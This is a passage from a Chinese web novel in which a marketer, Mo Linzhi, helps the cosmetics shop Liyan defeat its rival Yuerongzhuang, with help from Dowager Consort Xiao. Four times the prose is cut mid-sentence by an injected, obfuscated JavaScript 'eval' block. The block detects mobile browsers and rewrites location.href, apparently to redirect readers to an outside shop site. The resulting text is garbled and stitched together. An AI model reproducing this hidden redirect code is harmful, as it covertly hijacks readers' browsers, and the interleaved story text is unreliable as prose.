只不过，有免费小样在，哪怕悦容庄有所反击，也终究无力回天罢了。当然，莫林知看着第四天和第三天差不多的数据时，也会想过，如果悦容庄没有这一行动，那这一天的数据会不会更高一点。 不过不要紧，这些都影响不大，目前已经到达了预估的流量，剩下的重点就是，如何将进店的客流往“忠实”方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867474|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转化。 第五天，莫林知带着主笔和策划，再次去了丽颜采集素材。然后真真假假地混编在一起，最终成了新一期的《见闻》。 相较于上一期的含蓄，这一期的内容就要商业很多，且——图穷匕见。 虽然在用词上以“悦某庄”这样的隐晦表述来指代，但，只不过是掩耳盗铃罢了。《见闻》出炉第一天，看到内容的悦容庄掌柜就摔了一套天青釉茶盏，并且立即带人杀到了《见闻》。 “叫你们管事的给我出来！” 悦容庄掌柜姓佟，天生一张古典韵味的面容让人一见就忍不住心生好感，她游走在豪门后院这么多年从无败绩，也正是靠着这如沐春风的气质。 但是今天，带着店里4个手下上门的她粉面带煞，一声厉叱哪还看得出半点“水”的影子，“火”还差不多。 但是《见闻》总部也不是随便让人撒野的地方，门口的两名守卫都是从前线战场退下来的老兵，他们往中间一站，即便佟掌柜怒火上头也不由得心生退却。 可让她就这么打道回府也是不可能的。 佟掌柜竭力保持平静：“让你们管事的来见我，否则就算我进不去，你们谁也别想出来。” 门卫没有为难她，进去通信了。稍等片刻后，莫林知一人笑容满面地走了出来：“悦容庄的佟掌柜上门，有失远迎了~” 佟掌柜冷眼横看过去，嘲讽道：“我还以为，你要当缩头乌龟，不敢见我了。” “怎么会？”莫林知很是讶异的样子，“来着是客，尤其我们都是开门做生意的，就更不会赶客了。” “做生意？哼呵~”佟掌柜走上前，故意撞开她往里走，“如你所愿，跟你谈一笔生意，就看你能不能接了。” 莫林知笑容纹丝不变，揉着肩转身往里走，同时让晚玉带着两名商务一起进会客室。 和情绪上头的人沟通只会是事倍功半的效果，所以，进了会议室后，莫林知不仅没有开口，反而让晚香慢悠悠地表演起了茶道。 先让了对方一杯茶，莫林知这才开口：“佟掌柜，你是生意人，我也是，所以，咱们应该能互相理解才是。毕竟，这几年你也没少打压丽颜不是吗？” 她这要求，让一个“受害者”讲理解，简直荒谬至极。 佟掌柜不可抑制地再次冷笑出声。 见对方没有开口的意思，莫林知继续道：“丽颜花钱请我，我拿钱办事，就这么简单。不然，我拿什么运转我这一大摊子？佟掌柜，环境在改变，作为一个成功的商人，应该是抓住时机站在浪潮上起舞，而不是想着螳臂当车。” “狗屁！”粗俗的两个字从优雅的人口中说出，冲击力总是强上几分。佟掌柜身后四人都没忍住面露震惊。 但毫无所觉的本人还在愤慨地威胁：“什么浪潮，不过就是你在中间兴风起浪。我大可以直接从源头解决问题，让你这《见闻》从此绝迹！” 50. 戒备 莫林知本着和气生财的原则给对方搭梯子，但是既然对方不领情还一蹶子踢上脸，那她自然也不会客气了。 面上的笑容如潮水褪去，莫林知神色淡淡：“你可以试试，不过容我提醒一下，我这个人一向活得坦荡所以喜用阳谋，但不代表我不会那些阴祟伎俩。佟掌柜，是多一个敌人还是多一个合作伙伴，我劝你还是冷静下来仔细想想！” 人的脾气其实就和那跷跷板一样，不是你在制高点就是他在。 莫林知让着佟掌柜的时候，她自然是不管不顾一股脑儿将心里的怒火发泄出来，现在莫林知强硬了，佟掌柜也终于开始强迫自己冷静了。 室内一时安静如鸡，只有晚香的茶炉上，开水“噗噗”地冒泡声。 大约半炷香的时间，莫林知看对面人的眼神终于恢复清明，似乎还慢条斯理地整理了下着装，笑了笑，再次推了一杯茶盏过去：“重新介绍一下，我姓莫，莫林知。” “佟玉华。” “言归正传，丽颜的七夕活动策划虽然还没完全结束，但是目前的结果大家都知道，丽颜崛起已经是早晚的事儿。所以，佟掌柜考虑合作吗？” 饶是已经冷静下来，佟玉华还是被她这除了钱六亲不认的态度给惊得嘴角抽了两下。刚开始在门口，莫林知说“开门做生意”她以为只是一句敷衍之词，没想到居然来真的。 想到此，她没忍住问了一句：“你和颜丽不是交情不错？转头跟我合作，前期在丽颜投入的心血不就白费了？而且，我怎么能相信，你能帮我再次把丽颜踩在脚下？” 顶着她的质疑，莫林知缓缓摇了摇手指：“更正一下，三个错误。” “第一，我是生意人，做生意只讲交情，那我很只有饿死的份。” “第二，我是生意人，具备一定的契约精神。只要是出自我手的营销策划，就没有一个会白费，否则后续谁还敢找我合作？当然，目前能让我的心血白费的人也还没出现。” “第三，我是生意人，讲究的是双赢。如果佟掌柜的条件是把丽颜踩下去，那抱歉，我确实做不到。” “做不到？”佟玉华“呵”了一声，一脸不屑，“做不到我找你合作什么？” “市场这么大，不是非得你死或我。佟掌柜当然可以不找我合作，只是，以后您恐怕就只能眼睁睁看着自己手上其他几条线都被别人吃下了。到时候，想必佟掌柜会找到跟我合作的理由。” 市场上又不是只有悦容庄和丽颜，别的商家虽然现在还处于微末阶段，可不代表以后都是这样，要是掌柜的有点眼光找到他们合作，那一飞冲天也不是不可能。 一人带火一个品牌的事情比比皆是。 又是一番沉默后，佟玉华终于开口：“说说看吧，你的合作方案。” 她的语气也好，姿态也好，都透着浓浓的不信任，还带着点“让我看看你还有什么花招”的轻视。 一而再再而三地给脸不要脸，莫林知眼神也冷了，她偏头，冷淡地吩咐身边一个商务：“齐铭，你和佟掌柜介绍下我们的合作模式。” “是！”齐铭应下，上前一步，冲佟掌柜堆起一副灿烂笑容：“佟掌柜，我们有2种模式供您选择，第一是单产品或者单节日的合作，就像这次的七夕，便是单场收费，3000起步，根据难度和产品量级上不封顶。另一种则是年度合作，我们约定好一年给您出几次营销方案，打包收费。这个没有初步的报价，得深入沟通后再评估。” “所以你和丽颜签的是年框协议？” “是。不过只签了胭脂、唇彩、黛笔这几条线，如果佟掌柜有意，我们还有机会合作手油头油这些产品线。”莫林知开口回答。 佟玉华一听就敏锐抓住这个信息中的漏洞：“丽颜根本没有这几款产品，我有什么跟你合作的必要？说到底，还是在诓我。” “有道理，如果这是佟掌柜的决定，我当然也能欣然接受的。”莫林知耸耸肩，半点无所谓的样子让佟玉华更加怀疑自己是不是被耍了。 但不管怎么样，今天是谈崩了。佟玉华起身，冷冷注视着她，居高临下开口：“看来莫掌柜这暂时没有能打动我的东西，既然这样，我就先告辞了，但——七夕这场战，我不会输！” “拭目以待~”莫林知往后一靠，悠然挑眉。 明明是坐着仰视，但她那副气定神闲的样子，怎么看怎么不爽。佟玉华冷哼一声，带着人甩袖离开。 看客走了，莫林知也没了演戏的兴趣，当即把姿态一收，起身撑了个懒腰：“跟情绪上头的人沟通可真心累。我刚还真担心她会打上来——那我可真只有挨打的份了。” 这促狭的玩笑，让室内几人没忍住笑起来。不过玩笑过后，晚玉不免有些担忧：“······我们是不是也失去了这一块的合作机会了？” “不会。放心吧，她只是今天被情绪掌控了，脑子里除了‘丽颜’就再也想不到其他。等七夕过后冷静下来，她还是会上门的。”对方好歹也是带领悦容庄屹立多年不倒的人，该想明白的还是会明白的。 但晚玉没有莫林知这么丰富的经验，虽然不再多言，可眼里的忧虑半点没消退。莫林知见状，不得不把话说更明白：“给你讲个故事，我有一个朋友，在绣花这块拥有极高的天赋和造诣，后来被城内最有名的绣坊招去了，但是吧，绣坊的风格和朋友的风格又不太一样，所以就一直好吃好喝地供着她，又什么都不让她做，你知道为什么吗？” 晚玉想了想，试探地猜测：“······怕她被竞对店铺招聘过去，成为助力？” 莫林知打了个响指：“孺子可教。” “同理，佟掌柜或许现在还觉得自己不需要我们的帮助，但——她也绝不会再容忍我们去帮助其他同类商铺。” 晚玉恍然大悟，连忙掏出小本本记上。 莫林知拍拍手，拉回大家的注意力：“行了，这件事到此为止。接下来重心还是放到丽颜这边，每天的情况一定要做好记录，另外，悦容庄那边也要盯好，有任何动静，立马汇报！” “是！” 交代完这些，莫林知还是有些不放心，起身去了丽颜那边。 虽然是工作时间，但里面依然络绎不绝，人满为患。一边是在柜台这边选货的，一边是被颜丽新开辟出来，现场教学“桃花妆”的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12896305|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼上还有雅间，都是购买了套装然后想要找颜丽定制一副妆容的贵客。 毫不夸张，莫林知到了半天，都没人抽空招呼她一声。 她也没在意，自己楼上楼下地转悠了一圈，然后等人少了一点的时候，随手抓了个人：“门口可以挂个牌子，就写‘七夕限量礼盒，仅剩xx个’。” 被突然交了个任务的人没有半点犹豫，应了一声就去执行了。颜丽恰巧从楼上下来，见状，玩笑了一句：“我的人你使唤起来倒是毫无芥蒂，看样子，我这个掌柜都可以退位让贤了。” “她们也都是看在你的份上才卖我这个面子。” “说吧，怎么突然来了？” “悦容庄的佟掌柜找到我那儿去了，没谈拢，我担心她们接下来要做什么，来跟你打个招呼。”莫林知三言两语将刚才的冲突一言以概之。 但颜丽什么人，她和佟玉华打交道的次数可比莫林知多多了，当下就露出了一副幸灾乐祸的表情：“没少冲你吼吧？肯定还威胁你了。可惜~她这次算是踢到铁板了~~~” 一听这话就知道，估计她没少受这待遇。 莫林知了然挑眉，没接话，只是继续交代正事：“佟掌柜那边我已经派人盯着了，如果是阳谋我倒是不怕，就怕来阴的，总之，你这边自己多上点心。” “知道了，放心吧，她会做的能做的这几年早就使遍了，我都防出经验来了。” 颜丽懒懒散散的应着，轻飘飘一句话，道出这些年的心酸。要是不熟悉她的人，还以为她真的半点没放心上。 莫林知拍了拍她的肩膀，转而问起这几天的情况：“怎么样销量？达到预期了吗？” 提起这个，颜丽的眼角眉梢都活了，嘴角明明一个劲地上扬，还偏要强行装矜持：“还行，反正回本了。” ······这话说得，莫林知都气笑了，搡了一把她的肩膀：“你这是骂我呢吧？回本？我莫林知出手的营销策划如果只是用回本来衡量，还不如趁早关门大吉算了。” 颜丽拂开肩膀上的手，借着倒茶回避她的追问：“哎呀，反正我觉得我的年框签得不亏，打听那么细干嘛。就算是合作关系也得有点距离感吧~~” “行行行，您满意就行。反正，我刚说的事儿你放心上，别出了纰漏功亏一篑。” 颜丽摆摆手，表示心里有数。 对于这个朋友及合作伙伴的能力，莫林知还是充分相信的。信息带到的她对店铺里的陈设提了点建议就离开了——她这几天也很忙，因为‘丽颜’的成功，以致很多商铺都找上门咨询合作机会。 她带着两名商务见了几轮客户后，后面就交由他们自己发挥去了。毕竟只是初期沟通而已，双方之间了解一些基本信息就差不多了。后续，她还要带着底下人做背景调查，然后再进行反选。 而且，像颜丽这样，第一面就能成为朋友且下手果断的人少之又少，那些找上门的人，也还在等着‘丽颜’这次七夕的活动的结果。 所以，接下来才是关键。 当天晚上，躺在床上久久不能入眠的莫林知看着床幔，脑子里想的全是悦容庄会怎么出手。 51. 反击 佟玉华在《见闻》发泄了一番又受了一点气，实在难以算清到底是赢了还是输了。但有一点她是知道的：现在全定安城都盯着悦容庄和丽颜，所以，她绝对绝对不能示弱。否则，这一退，退的就不是黛笔胭脂这几条产品的市场了，而是她悦容庄这么多年独霸定安城的地位！ 回到店铺后，佟玉华憋着气，让人重新找了最近2份《见闻》，从头到尾仔仔细细地看。不光她一个人看，她还勒令店铺所有人都得看！ 她就不信了，这么多人一起，还找不出一丝漏洞来！难道上天就真的只偏宠她莫林知一个人吗！！！ 所以强忍着吃屎般的恶心感，佟玉华近乎自虐般，逼着自己一遍又一遍，一遍又一遍······ 还别说，看着看着，心里慢慢冷静下来了。而冷静下来后，她看着上面的“平替”两个字，眼眸一闪，扯开嘴角冷冷笑了。 ——既然喜欢踩着别人上位，那不妨自己也感受感受，被人当石阶的滋味吧！ 心里有了计较的佟玉华当即联系了一处私家园林，召集底下人开始做紧急准备。当晚，数封邀请函从悦容庄出发，被送往了城中大大小小的府邸。 被派去盯着他们行动的齐铭很尽职也很机警，当晚一直盯到宵禁时分才撤离，第二天一早，他先托家人将信息捎给了莫林知，自己则继续出发盯梢。 所以莫林知从进入《见闻》总部，手中的消息就没断过。 [莫管事亲启：昨夜数封拜帖及一个小匣子自悦容庄发出，送往的皆是城中有名有姓的大户。] [莫管事亲启：佟掌柜身边得力助手前往荷园并预定了后日的档期和宴席] [莫管事亲启：佟掌柜派遣数人分头出发，前往了天音坊、天元馆、晓风苑和等仙阁] ······ 莫林知看着几张纸条上的信息，对佟玉华的计划已经大概有数。 天音坊、天元馆、晓风苑和等仙阁都是定安城最负盛名的四家书院。和常规书院不同，这四家，更类似专门的“技校”。 当然，这个“技校”的地位，和现代的“技校”可谓是天壤之别。 天音坊教乐器，天元馆教棋弈，晓风苑只授书画，等仙阁传的是舞蹈。这四家学院的老师，个个都是声名在外的人物，院长更不得了，是在禹朝被广泛认可的“大家”。 莫林知推测，佟玉华应该是想彻彻底底走“高端”路线，借由她们这次营销，将“奢品”之名做实了。也好对城内宣告，她悦容庄和丽颜之间的区别。 再过火一点，保不齐就直接将丽颜踩到泥里，让它永远都只能在地上爬。 emmmm有点难办呢。 她给丽颜的定位是“平替”没错，但没想把丽颜往地上砸啊。如果丽颜真的成了上不了台面的，那这城内的那些中产估计就真的拉不回来了。 要知道，这些中产才是丽颜的主力购买人群。 莫林知将纸条收起，交代了一声直接去了丽颜。 可能因为门口挂了个限量礼盒倒计时的牌子，今天光临店铺的基本人手一个礼盒拎出门的。莫林知将颜丽从人堆里拎出来带到后院，脸色沉重地说出了自己的猜测，并给出了解决方案：“我们需要一个有分量的代言人。” 代言人。 这三个字，颜丽好像懂了，又好像没懂，试探问道：“意思是，要找个人替我们发声？” 莫林知点头：“不止如此，合约之内，她在公开场合的所有言行都必须与我们的立场保持一致，但凡使用到的妆造产品，必须有且只有我们这一家的产品。” 颜丽有点懂了，不过······“人选你有推荐吗？” 莫林知摇头，这也是她来找颜丽的主要目的。论起对定安城的了解，她远不及颜丽。 “定安城内，还有什么女性是比天音坊、天元馆、晓风苑和等仙阁的院长分量还重的吗？”莫林知问道。 “有啊，很多。”颜丽随便挑了个椅子坐下，闲闲开口：“江知州的母亲和发妻，程节度使的发妻，吴刺史的母亲······” “你都认识？”莫林知打断。 颜丽看她一眼，慢条斯理摇头摊手：“都不认识。” “······”莫林知只觉得一股气血往上涌，她在这急得要死对方却好像半点不放在心上一样。 莫林知深深呼吸，认真看着她：“说点有用的行吗？你知不知道现在真的很紧急，我们必须要在悦容庄的行动之前先拿到一张护身符！” 颜丽沉默一瞬，散漫姿态一收，沉声道：“行，那我说两个你认识的。李程江的祖母和母亲以及······萧太妃。” 说完撩起眼帘，看着也沉默下来的莫林知：“还有其他办法吗？” “这是最快最有效的。”莫林知轻声回答，脸上神色几经变换，最后似是下定决心一样，闭闭眼，再睁开时已恢复往日冷静，“行了，我会解决的。” 颜丽起身，看着她的背影，轻声问道：“你要去找她们吗？” 莫林知转身：“你有更好的建议？” 颜丽缓慢摇头，然后耸耸肩，故作轻松地笑了下：“其实你半点不想去求人吧？我也不想。所以······要不就这样吧，这次七夕，我已经将悦容庄踩在脚下过了，没什么遗憾了。” 莫林知定定看着她，没说话。 她知道她是真的这么想，也真的这么说了。 从第一次见到对方的时候，莫林知就从对方虚假的表象下，看到真实的自己。 一样的懒散不拘礼节，一样的傲气绝不低头。 所以丽颜在悦容坊的打压下始终难以出头，所以她也花了12年才升到总监的位置。 是因为没有能力吗？不是，是因为不想把骄傲踩在脚下碾压。 很蠢，在世人眼里真的很蠢。 明明颜丽只需要稍稍花点心计去疏通那些达官贵人的后院关系就能冲破悦容坊的封锁，可她就是懒得做。莫林知也是一样，她的“低头”和“弯腰”，永远都是出于岗位职责，但是职责之外，她甚至连表面的社交都懒得维系。 可这次不一样，丽颜······本不用走到这个地步。 她明明可以有其他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12896306|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 策划去做好这件事，但偏偏为求速成，选了“平替”这个概念和切入点。 所以，不管是作为项目主理人还是朋友，她都不能置之不理。 “别说傻话了，‘丽颜’的路才刚刚开始，难道你就甘心让它像一阵烟火一样，转瞬消散吗？悦容坊压了你这么多年，难道你就不想彻底将它踩在脚底下？” “放心吧，我会解决的。” 莫林知丢下两句话，匆匆离开。 看着她的背影，颜丽低声笑了，眼角笑出了眼泪，她抬手拭去，看着指腹上的泪珠，低哑着声音笑骂：“明明前几天还说要接悦容坊的策划啊······做生意的果然都是骗子。” 而莫林知出了‘丽颜’之后就直奔王府去了。 其实，刚才颜丽在报出萧太妃这个身份时，她的心里第一涌起的竟然不是为难或者难堪，而是庆幸。 庆幸那个人是萧太妃。 只是当自己意识到这个心态时，自己也吓了一跳。毕竟，在现代，她跟过的最久的一个老板也有6年，但是，每次和这个老板的家里人打交道时，她都只会感觉到烦扰。 她讨厌那些人面上客气，实则高高在上的轻视。 本以为，萧太妃作为北境第一权利女性，应该也是高高在上，雍容华贵的。但······实际相处下来完全相反。 萧太妃给了她一种尊重，一种不论是基于身份还是思想上的平等。 与此同时，因为年龄的的关系，萧太妃又给了她长辈般的关怀。 就是那种介于朋友和长辈之间的感觉。 如果一定要跟一个人低头，要把自己的过失摊在一个人面前，任他质疑、点评，如果这个人是萧太妃，那莫林知是愿意的。 从‘丽颜’回王府的路并不远，但是这一路，莫林知想了很多很多，多到思绪越来越清明，多到心里那最后一点芥蒂都没有了。 直至站在萧太妃的院子里，等候传召，她已经是全然的放松。 内室，萧太妃听闻莫林知求见，第一反应是看向窗外的天色——一般来说，不到晚上七八点，莫林知可能都还没回王府。 但现在才中午不到。 就很反常。 萧太妃第一反应就是该不会在外让人欺负了，吃了什么亏，才想找她做主吧？ 她让人赶紧将人请进来，同时心里克制不住往下沉——因为在她的认知力，莫林知是那种轻易不诉苦，不流泪的人。 不过，等人走进来后，萧太妃略略几眼，心里就安心了大半——莫林知面色还不错，和平时别无二致。 于是萧太妃定了定心神，柔善开口：“怎么突然来了？最近不是忙得很？” 莫林知起身，行了个晚辈礼，面上流露出一丝羞惭和愧色：“因为我的纰漏，丽颜这场活动临时出了个问题，所以······想请娘娘帮个忙。” 她声音越说越小，面上的愧疚也越来越浓。 因为她知道，自老王爷去世后，萧太妃其实已经深居简出好几年了，所以······她的请求，对这位长辈来说，可能有点强人所难。 52. 赏妆宴 萧太妃确实愣了一下，她着实惊讶，莫林知居然还有出纰漏的时候。要知道，从这个人进入视野开始，就一直是一副淡定自若胸有成竹的模样。 眼光和手段，比四五十岁的成人还老辣。 现在居然破天荒地说自己出了纰漏······就很稀奇，而且，她这副做错事就赶紧回家找长辈善后的小女儿情态······还真的蛮有趣的。 萧太妃强忍着笑意，一本正经点点头：“你且坐下，慢慢说。” “谢娘娘。” 莫林知坐下，略略组织语言，就将丽颜和悦容坊之间的恩怨三言两语交代清楚了，然后主要点名了自己的失误点以及需要太妃帮忙弥补的措施。 萧太妃一听，好像很简单的样子嘛，不过，得先问问自己有没有请帖。 她看向碧心，面露询问。 碧心不着痕迹点点头，表示确实有收到悦容坊的请帖。 于是萧太妃大手一挥，爽快应下来：“就这么件小事，你到时候让丽颜的掌柜上门给我画一副妆面就行了。” 就······这么简单？莫林知眨眨眼，不确定地开口：“娘娘，您这两年不是都不怎么出门了吗？” “是不怎么喜欢和那些人打交道，但这不是事出有因嘛~”萧太妃也很坦诚，学莫林知眨眼的样子逗她，“你不是也不喜欢和旁人打交道，但每天只能忍着。哦——你刚进王府那会儿，是不是还得忍着跟我打交道？” “娘娘！！！” 莫林知又羞又愧。 回想自己刚开始那段时间的表现，她真的很不成熟，自以为能力卓绝，是萧衍有求于她，便任性地不管不顾，画地为圈，用明明晃晃地态度向周围人表示：拒绝靠近。 可仔细想想，先不论契约，单是萧家对莫林杰的照顾，她作为姐姐，至少应该表示感激。可······她没有。 自欺欺人也好，事务太忙也罢，反正，她总有借口，为自己的失礼行为找补，同时还总用一种破罐子破摔的念头自我安慰——反正契约达成后她就和这群人没啥联系了，所以，失礼不失礼的，也就那样吧。她又不图什么。 可人是社会属性动物，只要活着，就避免不了和周围人产生交集，所以，事事周全一点，不是为别人好，而是为自己——这样的道理，其实大家耳朵都懂，但心里认可又是另一码事了。 王府真的包容了她很多，尤其是萧太妃，以长辈的姿态，以豁达的气度，给了她这个乌龟愿意探出头的安全感。 想到此，身体里好似有一股莫名的气流在心脏处冲撞，一下又一下，撞得人心里酸痛酸痛的，眼眶都有点胀。 她深深吸了口气，压下身体的反应，再一次诚挚地和萧太妃道谢，然后转而说起另一个想法——她刚想到，既然都劳动萧太妃了，那自然不能只是反击了事。 她要加码，要趁机将‘丽颜’彻底和“低贱”甩脱关系，要借着这阵东风，将‘丽颜’牢牢送上专业且惠民的位置。 莫林知不是那种为了让人办事就一个劲鼓吹好处的性子，她先将自己的想法说了一遍，然后又将可能给萧太妃带来的名誉损失一五一十地说了清楚。 但萧太妃始终只有一句话：“你做你想做的就行，剩下的有我给你兜着。” 简简单单一句话，听得莫林知眼眶又开始泛红。她不想当众失态，于是行礼后匆匆告退。 出了萧太妃的院子，莫林知抬头，静静伫立看了会儿天空，然后去了‘丽颜’。 颜丽一向是会察言观色的，见她气势汹汹而来，便知事情解决了，心里松口气的同时又忍不住玩笑：“你这是······请到了后盾，所以想叫我一起去抄人家的铺子？” “······”莫林知没好气地瞪她一眼，直接说正事，“找你商量七夕那天的安排。” “七夕安排？听起来好像是合约之外的活动？” “对，我想来一场路演。”莫林知没给她解释什么叫“路演”，继续说完自己的整个计划，“悦容坊活动那天，你先带着工具上门，给太妃娘娘画一副妆容，我会让《见闻》提前准备好通稿，头版头条还是以七夕故事为主，新增版面我会主要针对太妃娘娘这副妆容做文章，并借此重新定位‘丽颜’——我们追求的是美，但美不应该成为负担。最后，我们在七夕‘鹊桥’旁搭建一个短暂的‘鹊巢’，免费为过路人做妆容定制。” “免费？” “对，每半个时辰抽2个名额，我要借此展现我们产品的普适性。接下来，我还会去联系绸缎庄、成衣铺子，一起联合做一场大型活动，到时候，我会让‘丽颜’成为活动的御用妆造产品铺子，借此将丽颜推上专业的位置。” “嗯······虽然没听懂，但——你想做就做吧，反正丽颜能有现在结果我已经很满足了，再怎么也不会更差了不是吗？”比起莫林知的慎重，颜丽从头到尾好像对什么都是“无所谓”“都可以”的态度。两人之于‘丽颜’，就好像一个亲妈一个后妈似的······ 莫林知拿她没办法，干脆让她磨墨，自己开始构思路演的布置。好在，颜丽还没想什么都甩手，至少莫林知画图时还给给灵感和建议什么的。 搞定完她这边，莫林知又回《见闻》提前跟李程江打好招呼说了接下来的安排，然后静等悦容庄的这场晚宴。 时间倏忽而至，很快就到了好戏开场的这天。莫林知站在原地，目送萧太妃的马车离开，眼神悠悠荡荡，好似穿过层层屋檐，跟着她一起到了荷园。 今晚的荷园可以说是灯火璀璨，佟掌柜站在门口，熟稔地和这些夫人小姐寒暄。 面对她们关于最近2期《见闻》的调侃，佟掌柜落落大方，承认得很坦然：“是呢，本来这场妆容大赏是要放在中秋的，没想到会突然冒出一个丽颜。唉，悦容庄做的大就是这点不好，什么阿猫阿狗都要上来蹭一脚。不过嘛······有些便宜，可不是这么好占的。” 她说到最后，温婉的面容上都带了一丝煞气。 周身的夫人们见状，笑得意蕴深长。 正此时，突然听前面迎客的婢女高声通报：“肃王府，萧太妃到——” 这一信息如同一块巨石砸在浅池，水花四溅！ “萧太妃？她不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12907747|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2年都没怎么出门了吗？” “是啊，自从老王爷——咳咳，可能是最近心情不错，想出门转转吧。” “哎我家想着过阵子办一个清凉宴，你说是不是也能请太妃娘娘赏脸？” “谁知道呢，可不是人人都有佟掌柜这般福气的······” 这话一出，周遭人视线立即投向了佟玉华。羡慕有之，怀疑有之，还有人暗藏嫉妒，凑上门来打听她到底使了什么手段，竟能请动这位出面。 佟玉华强撑着笑容一一应付过去，从中脱身，前去迎接。 “还真是奇了怪了，悦容庄到底哪来的这么大福气？” 身后，一个耳熟的声音含酸不解地感叹，不知道说出了多少人的心声。 包括佟玉华。 她也忍不住扪心自问：这场赏妆宴，到底有什么值得萧太妃亲至的。 可不管怎么想，答案是没有。 不是她妄自菲薄，只是······萧太妃作为北境第一女性，属实是什么都不缺的，今天这场聚会，她完全不用来，因为明天，悦容庄还是会带着人亲自登门，将最好的产品，最新的妆面一一奉上。 坐在高处等人觐见，才是萧太妃一贯的风格。 所以，比起旁人的艳羡，佟玉华其实更·····惶恐。她害怕对方——来者不善。 “太妃娘娘安康~”荷园门口，一众花团锦簇的女眷齐齐行礼。 “平身吧，我今天就是一时兴起，来凑个热闹，不用拘束。”萧太妃面容和悦，还主动上前扶起了佟玉华。 如此平易近人，佟玉华内心稍安，定了定心神，而后侧身让路：“不知娘娘会亲至，准备仓促，还请见谅。” “我看挺好的，说了不用拘束，走吧。”萧太妃扶着佟玉华的手，在她的带领下往里走，同时还不忘和身边相熟的妇人寒暄。 时间已至，人都到的差不多了，没来的基本都是自恃身份，不感兴趣的。当然，只怕在得到萧太妃露面的消息后，这波人还不知道怎么懊悔呢~ 里面已经坐下的人听到消息，也连忙起身往门口方向迎上来，于是浩浩汤汤一大群人在走廊相遇，又是一番你来我往的请安、免礼，大家这才簇拥着萧太妃往里走。 在最前排坐定，萧太妃看向侍立一旁的佟玉华：“听说，这次为大家呈现妆面的是天音坊、天元馆、晓风苑和等仙阁的先生？” 佟玉华屈膝行礼回道：“回娘娘，是。妆面出来后，我先拿去给了几位姐姐品评，大家都说喜欢，正好，天音坊、等仙阁的两位大家也说最近有了一些新的灵感，和我这妆面可谓是相得益彰，便提议一起联手，来呈现一出最美的《北境仕女图》。” “原来如此，能打动这四家的先生，想必这一次悦容庄出品的妆面，定非凡品了~”萧太妃适时面露期待。 旁边一夫人见状，凑上来逗趣：“悦容庄出品，从没让人失望的。倒是娘娘今日的妆容，格外出尘，我第一眼见到，还以为娘娘您修仙去了呢~~” “就你敢拿我打趣。”萧太妃笑点了她一下，也没生气，但也没继续说下去的意思。 53. 胜利 萧太妃不开口，但旁人自然是要继续把这个梯子搭下去的，于是有人自然接话：“不知娘娘的妆容是出自哪里？我等是不是有机会可以学习一下？” “我这个啊，说出来你们不一定看得上。”萧太妃笑笑摆手，一副“不值一提”的样子。 佟玉华听了，心里一咯噔，升起不妙的预感。 果然，下一秒，就听眼前北境第一尊贵的女人慢悠悠揭露答案—— “丽颜掌柜的灵光一闪罢了。” 咚—— 佟玉华眼前一黑，只听到心沉入井底的声音。 丽颜？？？ 居然是丽颜！！！！ 她怎么会攀上萧太妃这层关系？？？！！！！ 佟玉华捏着帕子的手不知不觉攥紧，要不是隔着帕子，只怕指甲已经嵌入血肉，鲜血淋漓！ 此刻她已经心乱如麻，但有一点却又无比清晰地印刻在脑子里——今晚的目的，失败了。 佟玉华甚至都顾不上表面的体面，她近乎失礼般匆匆告退，赶到了后台，紧急撤销所有行动。 赏妆宴自然还得继续开下去，但是那些含沙射影的拉踩就只能归无了。 她都不知道这一夜是怎么过去的，强撑着送走萧太妃，又熬过那些夫人意义不明的眼神，直到人全部清空，她才脚下一软，委顿在地。 “掌柜的······”身边亲信大惊失色地上前搀扶。 “不用管我，下去吧。” “掌······” “滚啊——”佟玉华失态厉喝，温婉的面容扭曲如阎罗。 亲信沉默一瞬，而后行礼离开。 荷园，最终只剩下了佟玉华一个人。不远处，姹紫嫣红的绸带还未撤下，满园烛火也依然熹微雅致，在2个时辰之前，这些都还是她胜券在握的礼炮，可现在，全部都变成了荒唐的嘲讽。 嘲讽她的自视甚高及不自量力。 是不是悦容庄成功太久了？久到她都忘了“谨慎”两个字？ 她为什么动作之前没有先去调查一下那个莫林知的背景？ 早知道······ 